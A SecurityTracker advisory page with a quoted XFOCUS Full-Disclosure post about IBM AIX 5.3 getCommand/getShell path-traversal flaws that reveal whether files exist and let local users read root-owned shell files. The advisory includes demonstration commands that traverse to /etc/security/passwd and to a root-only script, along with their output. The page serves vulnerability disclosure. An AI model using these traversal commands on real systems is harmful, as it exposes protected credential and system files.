SecurityTracker.com
Keep Track of the Latest Vulnerabilities
with SecurityTracker!
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 
Sign Up
Sign Up for Your FREE Weekly SecurityTracker E-mail Alert Summary
Instant Alerts
Buy our Premium Vulnerability Notification Service to receive customized, instant alerts
Affiliates
Put SecurityTracker Vulnerability Alerts on Your Web Site -- It's Free!
Partners
Become a Partner and License Our Database or Notification Service
Report a Bug
Report a vulnerability that you have found to SecurityTracker
bugs
@
securitytracker.com






Category:   OS (UNIX)  >   IBM AIX Vendors:   IBM
IBM AIX getcommand/getshell Commands Disclose Contents of Shell Files to Local Users
SecurityTracker Alert ID:  1015429
SecurityTracker URL:  http://securitytracker.com/id/1015429
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Jan 1 2006
Impact:   Disclosure of system information, Disclosure of user information
Exploit Included:  Yes  
Version(s): AIX 5.3
Description:   A vulnerability was reported in IBM AIX. A local user can view shell documents. A local user can determine if files exist on the target system.

The getCommand and getShell commands allow a local user to determine if a file exists or not because the commands return different information if a non-existent file is specified.

A local user can also view shell files on the target system.

A demonstration exploit command is provided:

./getCommand.new ../../../../../tmp/k.sh

The vendor was notified on December 26, 2005.

XFOCUS discovered these vulnerabilities.

Impact:   A local user can view the contents of shell documents on the target system.

A local user can determine if files exist on the target system.

Solution:   No solution was available at the time of this entry.
Vendor URL:  www.ibm.com/ (Links to External Site)
Cause:   Access control error
Underlying OS:  

Message History:   None.


 Source Message Contents

Date:  Sun, 01 Jan 2006 16:19:35 +0800
Subject:  [Full-disclosure] [xfocus-SD-060101]AIX getCommand&getShell two

Title:[xfocus-SD-060101]AIX getCommand&getShell two vulnerabilities

Affected version : aix5.3 ml03,Other versions not test,
                       should also be affected.
Vendor: http://www.ibm.com/
Where: Local

XFOCUS (http://www.xfocus.org) had already discovered
some vulnerabilities in getCommand&getShell.

After apply newest patch,getCommand&getShell still have two
vulnerabilities,That is
1: exploit that,a attacker can determine file be exist or not,which
should can't readed
2: exploit that,a attacker can read in any shell document(include no
permission file) has the cd operation the following partial content.

example test:
-bash-3.00$./getCommand.new ../../../../../../etc/security/passwd
-bash-3.00$./getCommand.new ../../../../../../etc/security/passwd.aa
fopen:  No such file or directory
-bash-3.00$ ls -ld /etc/security/
drwxr-x--- 4 root security 512  2005-12-22 21:09 /etc/security/
-bash-3.00$ ls -l /tmp/k.sh -rwx------ 1 root system 79 2005-12-22 23:40
/tmp/k.sh
-bash-3.00$./getCommand.new ../../../../../tmp/k.sh

ps -ef > /tmp/log. $$
grep test /tmp/log.
$$ rm /tmp/log. $$

-bash-3.00$


TIME LINE:
December,26 2005 - Initial vendor notification
.....Waiting.....Waiting....
January 1, 2006 - Public disclosure(vendor not reply)

--EOF


-- 

Kind Regards,

---
XFOCUS Security Team
http://www.xfocus.org

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

Copyright 2014, SecurityGlobal.net LLC